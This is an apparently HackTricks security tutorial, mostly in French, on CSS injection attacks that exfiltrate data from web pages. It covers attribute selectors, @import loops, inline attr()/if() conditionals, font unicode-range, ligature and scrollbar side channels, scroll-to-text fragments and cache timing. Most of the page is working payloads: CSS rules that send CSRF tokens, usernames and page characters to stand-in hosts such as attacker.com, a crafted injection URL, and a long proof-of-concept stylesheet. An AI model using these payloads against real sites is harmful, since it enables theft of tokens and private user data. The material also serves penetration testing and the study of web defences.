CSS Injection

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

CSS Injection

LESS Code Injection

LESS est un préprocesseur CSS populaire qui ajoute des variables, des mixins, des fonctions et la puissante directive @import. Pendant la compilation, le moteur LESS récupérera les ressources référencées dans les instructions @import et intégrera (“inline”) leur contenu dans le CSS résultant lorsque l’option (inline) est utilisée.

{{#ref}} less-code-injection.md {{/ref}}

Sélecteur d’attribut

Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs name et value d’un élément input. Si l’attribut value de l’élément input commence par un caractère spécifique, une ressource externe prédéfinie est chargée :

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Cependant, cette approche présente une limitation lorsqu’il s’agit d’éléments input cachés (type=“hidden”) car les éléments cachés ne chargent pas les arrière-plans.

Bypass pour les éléments cachés

Pour contourner cette limitation, vous pouvez cibler un élément frère ultérieur en utilisant le sélecteur frère général ~. La règle CSS s’applique alors à tous les frères suivant l’élément input caché, provoquant le chargement de l’image d’arrière-plan :

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Un exemple pratique d’exploitation de cette technique est détaillé dans l’extrait de code fourni. Vous pouvez le consulter ici.

Prerequisites for CSS Injection

Pour que la technique de CSS Injection soit efficace, certaines conditions doivent être réunies :

  1. Payload Length : Le vecteur d’injection CSS doit supporter des payloads suffisamment longs pour contenir les sélecteurs construits.
  2. CSS Re-evaluation : Vous devez pouvoir encadrer la page (framing), ce qui est nécessaire pour déclencher la réévaluation du CSS avec des payloads nouvellement générés.
  3. External Resources : La technique suppose la possibilité d’utiliser des images hébergées externes. Cela peut être restreint par la Content Security Policy (CSP) du site.

Blind Attribute Selector

Comme expliqué dans ce post, il est possible de combiner les sélecteurs :has et :not pour identifier du contenu même à partir d’éléments blind. Ceci est très utile lorsque vous n’avez aucune idée de ce qui se trouve dans la page web chargeant la CSS injection.
Il est aussi possible d’utiliser ces sélecteurs pour extraire des informations de plusieurs blocs du même type comme dans:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

En combinant cela avec la technique @import suivante, il est possible d’exfiltrer beaucoup d’d’informations en utilisant une injection CSS depuis des pages aveugles avec blind-css-exfiltration.

@import

La technique précédente a quelques inconvénients, vérifiez les prérequis. Vous devez soit pouvoir envoyer plusieurs liens à la victime, soit pouvoir placer la page vulnérable à l’injection CSS dans un iframe.

Cependant, il existe une autre technique astucieuse qui utilise CSS @import pour améliorer l’efficacité de la méthode.

Ceci a été présenté pour la première fois par Pepe Vila et fonctionne de la manière suivante :

Au lieu de charger la même page encore et encore avec des dizaines de payloads différents à chaque fois (comme dans la méthode précédente), nous allons charger la page une seule fois et uniquement avec un import vers le serveur de l’attaquant (c’est le payload à envoyer à la victime) :

@import url("//attacker.com:5001/start?");
  1. L’import va recevoir un script CSS des attaquants et le navigateur va le charger.
  2. La première partie du script CSS que l’attaquant enverra est another @import to the attackers server again.
  3. Le serveur de l’attaquant ne répondra pas encore à cette requête, car on veut leak quelques chars puis répondre cet import avec le payload pour leak les suivants.
  4. La deuxième et plus grande partie du payload sera un attribute selector leakage payload
  5. Cela enverra au serveur de l’attaquant le premier char du secret et le dernier
  6. Une fois que le serveur de l’attaquant aura reçu le premier et le dernier char du secret, il répondra à l’import demandé à l’étape 2.
  7. La réponse sera exactement la même que les steps 2, 3 and 4, mais cette fois elle tentera de trouver le deuxième char du secret puis l’avant-dernier.

L’attaquant va follow that loop until it manages to leak completely the secret.

You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.

Tip

Le script va essayer de découvrir 2 chars à la fois (depuis le début et depuis la fin) parce que l’attribute selector permet de faire des choses comme :

css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }

Cela permet au script de leak le secret plus rapidement.

Warning

Parfois le script ne détecte pas correctement que le préfixe + suffixe découverts sont déjà le flag complet et il continuera vers l’avant (dans le préfixe) et vers l’arrière (dans le suffixe) et à un moment donné il se bloquera.
Pas d’inquiétude, vérifiez simplement la output car vous pouvez voir le flag là.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Cette primitive permet l’exfiltration en n’utilisant que l’attribut style inline d’un élément, sans sélecteurs ni feuilles de style externes. Elle repose sur les CSS custom properties, la fonction attr() pour lire les attributs du même élément, les conditionnels CSS if() pour faire du branching, et image-set() pour déclencher une requête réseau qui encode la valeur correspondante.

Warning

Les comparaisons d’égalité dans if() requièrent des guillemets doubles pour les littéraux de chaîne. Les guillemets simples ne fonctionneront pas.

  • Sink: control an element’s style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
  • Read: copy the attribute into a CSS variable: –val: attr(title).
  • Decide: select a URL using nested conditionals comparing the variable with string candidates: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: apply background: image-set(var(–steal)) (or any fetching property) to force a request to the chosen endpoint.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Payload fonctionnel (des guillemets doubles requis dans la comparaison):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Énumération des valeurs d’attribut avec des conditionnels imbriqués :

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Démo réaliste (probing usernames):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes et limitations :

  • Fonctionne sur Chromium-based browsers au moment des recherches ; le comportement peut différer sur d’autres moteurs.
  • Idéal pour des espaces de valeurs finis/énumérables (IDs, flags, short usernames). Le vol de chaînes arbitrairement longues sans feuilles de style externes reste difficile.
  • Toute propriété CSS qui récupère une URL peut être utilisée pour déclencher la requête (par ex. background/image-set, border-image, list-style, cursor, content).

Automatisation : une Burp Custom Action peut générer des payloads inline-style imbriqués pour brute-forcer les valeurs d’attribut : https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Autres sélecteurs

Autres façons d’accéder à des parties du DOM avec sélecteurs CSS :

  • .class-to-search:nth-child(2) : Cela recherchera le deuxième élément ayant la classe “class-to-search” dans le DOM.
  • :empty selector : Used for example in this writeup:

css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }

XS-Search basé sur les erreurs

Référence : CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

L’objectif général est d’utiliser une police personnalisée depuis un endpoint contrôlé et de s’assurer que le texte (dans ce cas, ‘A’) est affiché avec cette police uniquement si la ressource spécifiée (favicon.ico) ne peut pas être chargée.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Utilisation de police personnalisée:
  • Une police personnalisée est définie en utilisant la règle @font-face dans une balise
  • La police est nommée poc et est récupérée depuis un endpoint externe (http://attacker.com/?leak).
  • La propriété unicode-range est définie sur U+0041, ciblant le caractère Unicode spécifique ‘A’.
  1. Élément avec texte de secours:
  • Un élément avec id=“poc0” est créé dans la section . Cet élément tente de charger une ressource depuis http://192.168.0.1/favicon.ico.
  • La font-family de cet élément est définie sur ‘poc’, comme défini dans la section
  • Si la ressource (favicon.ico) échoue à se charger, le contenu de secours (la lettre ‘A’) à l’intérieur de la balise est affiché.
  • Le contenu de secours (‘A’) sera rendu en utilisant la police personnalisée poc si la ressource externe ne peut pas être chargée.

Mise en forme du fragment Scroll-to-text

La pseudo-classe :target est utilisée pour sélectionner un élément ciblé par un fragment d’URL, comme spécifié dans la CSS Selectors Level 4 specification. Il est essentiel de comprendre que ::target-text ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.

Une préoccupation de sécurité apparaît lorsque des attaquants exploitent la fonctionnalité Scroll-to-text, leur permettant de confirmer la présence d’un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via HTML injection. La méthode consiste à injecter une règle CSS comme celle-ci:

:target::before {
content: url(target.png);
}

Dans de tels scénarios, si le texte “Administrator” est présent sur la page, la ressource target.png est demandée au serveur, indiquant la présence du texte. Une instance de cette attaque peut être exécutée via une URL spécialement conçue qui intègre le CSS injecté ainsi qu’un Scroll-to-text fragment :

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Ici, l’attaque manipule une HTML injection pour transmettre le code CSS, visant le texte spécifique “Administrator” via le Scroll-to-text fragment (#:~:text=Administrator). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l’attaquant.

Pour atténuer le risque, notez les points suivants :

  1. Constrained STTF Matching : Scroll-to-text Fragment (STTF) est conçu pour ne correspondre qu’à des mots ou des phrases, limitant ainsi sa capacité à leak des secrets arbitraires ou des tokens.
  2. Restriction to Top-level Browsing Contexts : STTF fonctionne uniquement dans les contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d’exploitation plus visible pour l’utilisateur.
  3. Necessity of User Activation : STTF nécessite un geste d’activation par l’utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que via des navigations initiées par l’utilisateur. Cette exigence réduit considérablement le risque d’automatisation des attaques sans interaction utilisateur. Néanmoins, l’auteur de l’article de blog signale des conditions et des contournements spécifiques (par ex. social engineering, interaction avec des extensions de navigateur répandues) qui pourraient faciliter l’automatisation de l’attaque.

La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d’exploitation.

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

You can check an exploit using this technique for a CTF here.

@font-face / unicode-range

Vous pouvez spécifier des polices externes pour des valeurs unicode spécifiques qui ne seront récupérées que si ces valeurs unicode sont présentes dans la page. Par exemple:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

La technique décrite consiste à extraire du texte d’un nœud en exploitant les ligatures de fonte et en surveillant les variations de largeur. Le processus comporte plusieurs étapes :

  1. Creation of Custom Fonts:
  • Des SVG fonts sont créées avec des glyphs ayant un attribut horiz-adv-x, qui définit une largeur importante pour un glyphe représentant une séquence de deux caractères.
  • Exemple de glyph SVG : , où “XY” désigne une séquence de deux caractères.
  • Ces fonts sont ensuite converties au format woff à l’aide de fontforge.
  1. Detection of Width Changes:
  • Le CSS est utilisé pour empêcher le retour à la ligne (white-space: nowrap) et pour personnaliser le style de la scrollbar.
  • L’apparition d’une barre de défilement horizontale, stylée de manière distincte, sert d’indicateur (oracle) qu’une ligature spécifique, et donc une séquence de caractères précise, est présente dans le texte.
  • The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit Process:
  • Step 1: Des fonts sont créées pour les paires de caractères avec une largeur substantielle.
  • Step 2: Un truc basé sur la scrollbar est employé pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
  • Step 3: Lorsqu’une ligature est détectée, de nouveaux glyphs représentant des séquences de trois caractères sont générés, incluant la paire détectée et ajoutant un caractère précédent ou suivant.
  • Step 4: La détection de la ligature de trois caractères est réalisée.
  • Step 5: Le processus se répète, révélant progressivement l’intégralité du texte.
  1. Optimization:
  • La méthode d’initialisation actuelle utilisant n’est pas optimale.
  • Une approche plus efficace pourrait impliquer le trick CSS @import, améliorant les performances de l’exploit.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

This trick was released in this Slackers thread. Le charset utilisé dans un text node peut être leaked en utilisant les polices par défaut installées dans le navigateur : aucune police externe ou custom n’est nécessaire.

Le concept repose sur l’utilisation d’une animation pour élargir progressivement la largeur d’un div, permettant à un caractère à la fois de passer de la partie ‘suffix’ du texte à la partie ‘prefix’. Ce processus divise effectivement le texte en deux sections :

  1. Prefix : La ligne initiale.
  2. Suffix : La/les ligne(s) suivante(s).

Les étapes de transition des caractères apparaîtraient ainsi :

C
ADB

CA
DB

CAD
B

CADB

Pendant cette transition, le unicode-range trick est employé pour identifier chaque nouveau caractère lorsqu’il rejoint le prefix. Cela est réalisé en changeant la font pour Comic Sans, qui est notablement plus haute que la font par défaut, déclenchant par conséquent une barre de défilement verticale. L’apparition de cette scrollbar révèle indirectement la présence d’un nouveau caractère dans le prefix.

Bien que cette méthode permette de détecter des caractères uniques lorsqu’ils apparaissent, elle ne précise pas quel caractère est répété, seulement qu’une répétition a eu lieu.

Tip

Basically, the unicode-range is used to detect a char, but as we don’t want to load an external font, we need to find another way.
When the char is found, it’s given the pre-installed Comic Sans font, which makes the char bigger and triggers a scroll bar which will leak the found char.

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Référence : Ceci est mentionné comme une solution infructueuse dans ce writeup

Ce cas est très similaire au précédent, cependant ici l’objectif de rendre certains caractères plus grands que d’autres pour cacher quelque chose comme un bouton afin qu’il ne soit pas cliqué par le bot ou une image qui ne sera pas chargée. Nous pourrions donc mesurer l’action (ou l’absence d’action) et savoir si un caractère spécifique est présent dans le texte.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Référence : Ceci est mentionné comme une solution infructueuse dans ce writeup

Dans ce cas, nous pourrions tenter de leak si un caractère est présent dans le texte en chargeant une police factice depuis la même origine :

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

S’il y a une correspondance, la police sera chargée depuis /static/bootstrap.min.css?q=1. Même si elle ne se chargera pas correctement, le navigateur devrait la mettre en cache, et même s’il n’y a pas de cache, il existe un mécanisme 304 not modified, donc la réponse devrait être plus rapide que pour les autres ressources.

Cependant, si la différence de temps entre la réponse mise en cache et la non mise en cache n’est pas suffisamment grande, cela ne sera pas utile. Par exemple, l’auteur a mentionné : « néanmoins, après tests, j’ai constaté que le premier problème est que la vitesse n’est pas très différente, et le second problème est que le bot utilise l’option disk-cache-size=1, ce qui est vraiment réfléchi. »

Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)

Référence : Ceci est mentionné comme une solution infructueuse dans ce writeup

Dans ce cas, vous pouvez indiquer du CSS pour charger des centaines de fausses polices depuis la même origine lorsqu’une correspondance se produit. De cette façon, vous pouvez mesurer le temps nécessaire et déterminer si un caractère apparaît ou non avec quelque chose comme :

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Et le code du bot ressemble à ceci :

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot est d’environ 30 secondes. En revanche, si la police correspond, plusieurs requêtes seront envoyées pour la récupérer, provoquant une activité réseau continue. Il faudra donc plus de temps pour satisfaire la condition d’arrêt et recevoir la réponse. Le temps de réponse peut donc servir d’indicateur pour déterminer s’il y a une correspondance de police.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks